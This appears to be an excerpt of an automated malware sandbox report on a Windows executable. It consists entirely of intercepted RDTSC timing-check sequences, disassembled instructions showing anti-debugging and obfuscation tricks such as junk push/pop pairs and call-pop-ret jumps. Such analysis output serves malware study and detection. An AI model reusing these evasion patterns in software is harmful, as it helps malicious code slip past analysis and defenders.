Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010562 second address: 501058F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0843B904h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c jmp 00007F84ECDED168h 0x00000011 mov dword ptr [esp], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501058F second address: 5010593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010593 second address: 5010599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010599 second address: 50105C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F84ECC38FA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov dl, 25h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010607 second address: 501060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 501060B second address: 5010611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010611 second address: 5000E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, C39Eh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F84ECDED15Bh 0x00000013 and al, 0000004Eh 0x00000016 jmp 00007F84ECDED169h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F84ECDED160h 0x00000022 add si, 8CC8h 0x00000027 jmp 00007F84ECDED15Bh 0x0000002c popfd 0x0000002d popad 0x0000002e test esi, esi 0x00000030 jmp 00007F84ECDED166h 0x00000035 je 00007F855D83B129h 0x0000003b xor eax, eax 0x0000003d jmp 00007F84ECDC688Ah 0x00000042 pop esi 0x00000043 pop edi 0x00000044 pop ebx 0x00000045 leave 0x00000046 retn 0004h 0x00000049 nop 0x0000004a sub esp, 04h 0x0000004d mov esi, eax 0x0000004f xor ebx, ebx 0x00000051 cmp esi, 00000000h 0x00000054 je 00007F84ECDED295h 0x0000005a call 00007F84F1049FABh 0x0000005f mov edi, edi 0x00000061 pushad 0x00000062 mov ebx, 5D66DD06h 0x00000067 mov ebx, 5403C392h 0x0000006c popad 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F84ECDED165h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000E35 second address: 5000EFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F84ECC38F9Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F84ECC38F9Eh 0x0000001a and si, A138h 0x0000001f jmp 00007F84ECC38F9Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F84ECC38FA8h 0x0000002b sbb ecx, 134D1B98h 0x00000031 jmp 00007F84ECC38F9Bh 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F84ECC38F9Bh 0x00000042 xor ch, 0000005Eh 0x00000045 jmp 00007F84ECC38FA9h 0x0000004a popfd 0x0000004b pushfd 0x0000004c jmp 00007F84ECC38FA0h 0x00000051 or eax, 5CD42058h 0x00000057 jmp 00007F84ECC38F9Bh 0x0000005c popfd 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000EFB second address: 5000F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000F01 second address: 5000F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000F05 second address: 5000F2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop edx 0x0000000f jmp 00007F84ECDED15Eh 0x00000014 popad 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000F2F second address: 5000F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F84ECC38FA3h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5000F48 second address: 5000F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50109E5 second address: 50109FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50109FD second address: 5010A2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F84ECDED164h 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F84ECDED15Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010A2E second address: 5010A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010A32 second address: 5010A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010A38 second address: 5010A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F84ECC38F9Ch 0x00000009 or al, 00000028h 0x0000000c jmp 00007F84ECC38F9Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010A59 second address: 5010A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F84ECDED15Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010AD2 second address: 5010B0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 81h 0x00000005 mov si, AF53h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c call 00007F84ECC38F99h 0x00000011 jmp 00007F84ECC38FA6h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F84ECC38F9Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010B0E second address: 5010BA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F84ECDED161h 0x00000009 add ah, 00000076h 0x0000000c jmp 00007F84ECDED161h 0x00000011 popfd 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d push esi 0x0000001e call 00007F84ECDED15Fh 0x00000023 pop esi 0x00000024 pop ebx 0x00000025 call 00007F84ECDED166h 0x0000002a jmp 00007F84ECDED162h 0x0000002f pop ecx 0x00000030 popad 0x00000031 mov eax, dword ptr [eax] 0x00000033 jmp 00007F84ECDED160h 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F84ECDED15Eh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010BA5 second address: 5010C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov bh, B9h 0x0000000d popad 0x0000000e call 00007F855D67DF4Fh 0x00000013 push 75A52B70h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov eax, dword ptr [esp+10h] 0x00000023 mov dword ptr [esp+10h], ebp 0x00000027 lea ebp, dword ptr [esp+10h] 0x0000002b sub esp, eax 0x0000002d push ebx 0x0000002e push esi 0x0000002f push edi 0x00000030 mov eax, dword ptr [75AB4538h] 0x00000035 xor dword ptr [ebp-04h], eax 0x00000038 xor eax, ebp 0x0000003a push eax 0x0000003b mov dword ptr [ebp-18h], esp 0x0000003e push dword ptr [ebp-08h] 0x00000041 mov eax, dword ptr [ebp-04h] 0x00000044 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004b mov dword ptr [ebp-08h], eax 0x0000004e lea eax, dword ptr [ebp-10h] 0x00000051 mov dword ptr fs:[00000000h], eax 0x00000057 ret 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b call 00007F84ECC38F9Fh 0x00000060 pop ecx 0x00000061 pushfd 0x00000062 jmp 00007F84ECC38FA9h 0x00000067 sub esi, 79AE5606h 0x0000006d jmp 00007F84ECC38FA1h 0x00000072 popfd 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010C59 second address: 5010C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010C5F second address: 5010C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010C63 second address: 5010C9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx edi, ax 0x0000000f popad 0x00000010 call 00007F84ECDED166h 0x00000015 mov esi, 3F1E87D1h 0x0000001a pop esi 0x0000001b popad 0x0000001c je 00007F855D820E4Bh 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov dl, al 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5010C9C second address: 5010CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50209CD second address: 50209D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50209D3 second address: 50209D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50209D7 second address: 50209DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 50209DB second address: 5020AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F84ECC38F9Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov bl, ah 0x00000014 pushfd 0x00000015 jmp 00007F84ECC38FA3h 0x0000001a add si, 1CEEh 0x0000001f jmp 00007F84ECC38FA9h 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F84ECC38F9Ch 0x0000002f sub esi, 2D2F4468h 0x00000035 jmp 00007F84ECC38F9Bh 0x0000003a popfd 0x0000003b mov bx, cx 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 mov si, F657h 0x00000045 pushfd 0x00000046 jmp 00007F84ECC38F9Ch 0x0000004b xor ch, FFFFFFC8h 0x0000004e jmp 00007F84ECC38F9Bh 0x00000053 popfd 0x00000054 popad 0x00000055 push eax 0x00000056 jmp 00007F84ECC38FA9h 0x0000005b xchg eax, esi 0x0000005c jmp 00007F84ECC38F9Eh 0x00000061 mov esi, dword ptr [ebp+0Ch] 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F84ECC38FA7h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020AB8 second address: 5020ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020ABE second address: 5020B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F84ECC38FA7h 0x0000000f je 00007F855D66686Eh 0x00000015 pushad 0x00000016 call 00007F84ECC38F9Bh 0x0000001b movzx esi, di 0x0000001e pop edx 0x0000001f popad 0x00000020 cmp dword ptr [75AB459Ch], 05h 0x00000027 pushad 0x00000028 mov dx, cx 0x0000002b jmp 00007F84ECC38F9Ah 0x00000030 popad 0x00000031 je 00007F855D67E921h 0x00000037 pushad 0x00000038 movzx ecx, dx 0x0000003b movsx edi, si 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F84ECC38FA0h 0x00000047 adc ch, FFFFFFD8h 0x0000004a jmp 00007F84ECC38F9Bh 0x0000004f popfd 0x00000050 mov ebx, esi 0x00000052 popad 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F84ECC38FA7h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020B5B second address: 5020B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020B61 second address: 5020B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020B67 second address: 5020B8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F84ECDED169h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 5020C20 second address: 5020C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F84ECC38FA0h 0x00000010 or ch, FFFFFFA8h 0x00000013 jmp 00007F84ECC38F9Bh 0x00000018 popfd 0x00000019 mov si, 549Fh 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F84ECC38FA7h 0x00000028 sbb ax, 739Eh 0x0000002d jmp 00007F84ECC38FA9h 0x00000032 popfd 0x00000033 mov cx, 4367h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 635DDB7 second address: 635DDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F84ECDED156h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DB850 second address: 64DB85A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DAB83 second address: 64DAB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DAB89 second address: 64DAB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DACCD second address: 64DACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DACD3 second address: 64DACD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DAF5E second address: 64DAF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DAF64 second address: 64DAF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DAF68 second address: 64DAF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DB0B7 second address: 64DB0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F84ECC38F96h 0x0000000d jmp 00007F84ECC38FA0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDD50 second address: 64DDD76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F84ECDED156h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F84ECDED15Eh 0x00000019 pop edi 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDD76 second address: 635DDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 mov di, AC84h 0x0000000b push dword ptr [ebp+122D14FDh] 0x00000011 sub ecx, 286B7921h 0x00000017 call dword ptr [ebp+122D1CDDh] 0x0000001d pushad 0x0000001e jnl 00007F84ECC38F97h 0x00000024 xor eax, eax 0x00000026 jmp 00007F84ECC38F9Fh 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f cld 0x00000030 mov dword ptr [ebp+122D2D40h], eax 0x00000036 or dword ptr [ebp+122D1CD8h], esi 0x0000003c mov esi, 0000003Ch 0x00000041 xor dword ptr [ebp+122D2950h], edi 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D1CD8h], edx 0x00000051 lodsw 0x00000053 or dword ptr [ebp+122D2950h], ebx 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d jl 00007F84ECC38F97h 0x00000063 stc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jl 00007F84ECC38FA2h 0x0000006e ja 00007F84ECC38F9Ch 0x00000074 mov dword ptr [ebp+122D1CD8h], edx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F84ECC38FA9h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDDAD second address: 64DDDC3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F84ECDED158h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F84ECDED156h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDDC3 second address: 64DDE08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F84ECC38FA2h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007F84ECC38F9Ah 0x00000012 mov dword ptr [ebp+122D598Ch], eax 0x00000018 push 00000000h 0x0000001a mov si, dx 0x0000001d push B7E90AC6h 0x00000022 pushad 0x00000023 push edi 0x00000024 jnc 00007F84ECC38F96h 0x0000002a pop edi 0x0000002b jc 00007F84ECC38F9Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDE08 second address: 64DDE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4816F5BAh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F84ECDED158h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub edx, 7911163Dh 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+124523FDh] 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F84ECDED158h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1CF1h], esi 0x00000058 cld 0x00000059 mov esi, edx 0x0000005b push CE9E3E16h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F84ECDED15Dh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDE89 second address: 64DDEA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDEA0 second address: 64DDEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDEA4 second address: 64DDEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0E9E3E16h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F84ECC38F98h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub cx, 2494h 0x0000002d lea ebx, dword ptr [ebp+12453C3Eh] 0x00000033 mov dword ptr [ebp+122D30E6h], edi 0x00000039 push eax 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F84ECC38FA3h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DDFE0 second address: 64DE000 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F84ECDED163h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE000 second address: 64DE006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE006 second address: 64DE00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE00A second address: 64DE00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE00E second address: 64DE0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov edi, 6E7BA6CEh 0x0000000f mov edx, 3950D451h 0x00000014 popad 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F84ECDED158h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1C01h] 0x00000037 mov ecx, 531F97B1h 0x0000003c jmp 00007F84ECDED163h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F84ECDED158h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d push 00000003h 0x0000005f jnp 00007F84ECDED15Ch 0x00000065 push DFE60003h 0x0000006a push eax 0x0000006b push edx 0x0000006c jnl 00007F84ECDED15Ch 0x00000072 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE0A8 second address: 64DE0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
